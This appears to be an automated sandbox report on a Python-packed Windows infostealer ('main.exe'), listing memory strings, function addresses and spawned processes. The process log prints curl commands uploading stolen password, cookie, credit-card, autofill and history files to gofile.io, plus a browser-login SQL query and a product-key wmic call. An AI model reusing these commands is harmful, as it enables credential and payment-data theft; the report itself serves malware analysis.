Source: main.exe, 00000002.00000003.2013074087.000001E89396A000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1793009900.000001E893AAF000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977044312.000001E8935F0000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2013387739.000001E893A03000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1975698701.000001E8935C5000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977713618.000001E893961000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1796280845.000001E893C26000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1981338350.000001E893A01000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1993956147.000001E893A03000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1974979765.000001E8939E5000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976909466.000001E8935C6000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1984238904.000001E893A04000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2020045883.000001E893A03000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2012429799.000001E893A03000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1996321903.000001E893968000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2001043628.000001E8935FF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/questions/267399/how-do-you-match-only-valid-roman-numerals-with-a-regular
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://stake.com)
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://steam.com)
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://store1.gofile.io/contents/uploadfile
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://telegram.com)
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://tiktok.com)
Source: main.exe, 00000002.00000003.2001802176.000001E894710000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1973551416.000001E894703000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976302124.000001E894703000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2005186988.000001E894727000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2023563231.000001E89472A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: main.exe, 00000002.00000003.1997906839.000001E894A82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972023696.000001E8947B2000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2004907277.000001E8947DB000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2006977893.000001E8947E4000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972587068.000001E894A80000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2024203636.000001E8947E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc3610
Source: main.exe, 00000002.00000003.1999083048.000001E894B30000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1996121577.000001E894BD2000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1995247587.000001E894B2C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2025577227.000001E894BD5000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1998028650.000001E894BD5000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1986551166.000001E894BCF000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1975513124.000001E894BC1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc5297
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://twitch.com)
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://twitter.com)
Source: main.exe, 00000002.00000003.1977713618.000001E893961000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976200965.000001E894862000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1998719177.000001E893984000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972023696.000001E894862000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2001089205.000001E893984000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1983459559.000001E894863000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2013542756.000001E894863000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1979273332.000001E894862000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2024442172.000001E894863000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1987244040.000001E893982000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1985312347.000001E89397C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1993083249.000001E893984000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://uber.com)
Source: main.exe, 00000002.00000002.2021248839.000001E893CF0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://upload.pypi.org/legacy/
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: main.exe, 00000002.00000003.1981902344.000001E894A89000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1992755022.000001E894A89000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1973472828.000001E894A88000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972587068.000001E894A80000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://web.archive.org/web/20120328125543/http://www.jpegcameras.com/libjpeg/libjpeg-3.html
Source: main.exe, 00000002.00000003.1975924116.000001E893326000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2008458443.000001E89334A000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2012911590.000001E89334C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1985986835.000001E89334A000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977459782.000001E893349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://wiki.debian.org/XDGBaseDirectorySpecification#state
Source: main.exe, 00000002.00000003.1976534572.000001E894A92000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2012511330.000001E894A99000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2025190061.000001E894A9C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1973472828.000001E894A88000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972587068.000001E894A80000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ietf.org/rfc/rfc2898.txt
Source: main.exe, 00000002.00000003.1995482563.000001E894627000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1971266295.000001E894600000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972288327.000001E89460F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1980605217.000001E894618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.python.org
Source: main.exe, 00000002.00000003.1973010642.000001E893A4D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1978592500.000001E893A5B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.python.org/
Source: main.exe, 00000002.00000003.1778406388.000001E893355000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1778179908.000001E893355000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: main.exe, 00000002.00000003.1972023696.000001E89477F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2001384242.000001E894787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: main.exe, 00000002.00000002.2024904909.000001E894A03000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1984378367.000001E8949FB000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1971942361.000001E8949D7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1984162933.000001E8949D7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://wwww.certigna.fr/autorites/
Source: main.exe, 00000002.00000003.1976823794.000001E8947EA000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972023696.000001E8947B2000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1989712594.000001E8947EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://wwww.certigna.fr/autorites/0m
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://xbox.com)
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://yahoo.com)
Source: main.exe, 00000002.00000003.1995482563.000001E894627000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1974112566.000001E8945D6000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1971266295.000001E894600000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972288327.000001E89460F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1974081056.000001E8945C4000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2011453288.000001E8945E2000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1980605217.000001E894618000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972765253.000001E89459D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://yahoo.com/
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://youtube.com)
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Detected potential crypto function
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333B1B38 0_2_00007FF7333B1B38
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333B7BD4 0_2_00007FF7333B7BD4
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF733398020 0_2_00007FF733398020
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333B6E70 0_2_00007FF7333B6E70
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333A2420 0_2_00007FF7333A2420
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333A4450 0_2_00007FF7333A4450
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333A6CF0 0_2_00007FF7333A6CF0
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333A3B88 0_2_00007FF7333A3B88
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333AEB24 0_2_00007FF7333AEB24
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333B531C 0_2_00007FF7333B531C
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333A132C 0_2_00007FF7333A132C
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF73339A26D 0_2_00007FF73339A26D
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF733399A34 0_2_00007FF733399A34
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333B2AE4 0_2_00007FF7333B2AE4
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333A1128 0_2_00007FF7333A1128
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333BA998 0_2_00007FF7333BA998
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333A9020 0_2_00007FF7333A9020
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333B70EC 0_2_00007FF7333B70EC
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF73339989B 0_2_00007FF73339989B
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333A3F8C 0_2_00007FF7333A3F8C
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333A0F1C 0_2_00007FF7333A0F1C
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333A173C 0_2_00007FF7333A173C
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333A3750 0_2_00007FF7333A3750
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333A27B8 0_2_00007FF7333A27B8
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333AEFB8 0_2_00007FF7333AEFB8
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333B4E80 0_2_00007FF7333B4E80
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333B1B38 0_2_00007FF7333B1B38
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333B7688 0_2_00007FF7333B7688
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333AAE20 0_2_00007FF7333AAE20
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333AF638 0_2_00007FF7333AF638
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333A96D0 0_2_00007FF7333A96D0
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333A0D18 0_2_00007FF7333A0D18
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333A1538 0_2_00007FF7333A1538
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF733398DC0 0_2_00007FF733398DC0
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\main.exe Code function: String function: 00007FF733391E50 appears 53 times
PE file contains executable resources (Code or Archives)
Source: unicodedata.pyd.0.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.0.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
PE file does not import any functions
Source: python3.dll.0.dr Static PE information: No import functions for PE file found
Sample file is different than original file name gathered from version info
Source: main.exe, 00000000.00000003.1754671215.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_hashlib.pyd. vs main.exe
Source: main.exe, 00000000.00000003.1753820338.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_bz2.pyd. vs main.exe
Source: main.exe, 00000000.00000003.1753335252.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_asyncio.pyd. vs main.exe
Source: main.exe, 00000000.00000003.1752729643.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamewin32ui.pyd0 vs main.exe
Source: main.exe, 00000000.00000003.1754774783.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_lzma.pyd. vs main.exe
Source: main.exe, 00000000.00000003.1754921734.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_multiprocessing.pyd. vs main.exe
Source: main.exe, 00000000.00000003.1754483691.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_elementtree.pyd. vs main.exe
Source: main.exe, 00000000.00000003.1754995802.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_overlapped.pyd. vs main.exe
Source: main.exe, 00000000.00000003.1754333997.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_decimal.pyd. vs main.exe
Source: main.exe, 00000000.00000003.1753127586.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamevcruntime140.dllT vs main.exe
Source: main.exe, 00000000.00000003.1754059092.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename_ctypes.pyd. vs main.exe
Source: main.exe, 00000000.00000003.1753253644.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamevcruntime140_1.dllT vs main.exe
Source: main.exe, 00000002.00000002.2015409411.000001E891430000.00000002.00000001.01000000.00000006.sdmp Binary or memory string: OriginalFilenamepython3.dll. vs main.exe
Source: classification engine Classification label: mal92.troj.spyw.winEXE@40/137@2/2
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7596:120:WilError_03
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802 Jump to behavior
Source: main.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Users\user\Desktop\main.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: main.exe, 00000002.00000002.2026526474.000001E895070000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SELECT action_url, username_value, password_value FROM logins;
Source: main.exe ReversingLabs: Detection: 15%
Source: main.exe Virustotal: Detection: 23%
Source: C:\Users\user\Desktop\main.exe File read: C:\Users\user\Desktop\main.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\main.exe "C:\Users\user\Desktop\main.exe"
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\main.exe Process created: C:\Users\user\Desktop\main.exe "C:\Users\user\Desktop\main.exe"
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prpasswords.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prpasswords.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path softwarelicensingservice get OA3xOriginalProductKey"
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prcookies.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prcookies.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic path softwarelicensingservice get OA3xOriginalProductKey
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prcreditcards.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prcreditcards.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prautofills.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prautofills.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prhistories.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prhistories.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prbookmarks.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prbookmarks.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\Desktop\main.exe Process created: C:\Users\user\Desktop\main.exe "C:\Users\user\Desktop\main.exe" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prpasswords.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path softwarelicensingservice get OA3xOriginalProductKey" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prcookies.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prcreditcards.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prautofills.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prhistories.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prbookmarks.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\tasklist.exe tasklist Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prpasswords.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic path softwarelicensingservice get OA3xOriginalProductKey Jump to behavior
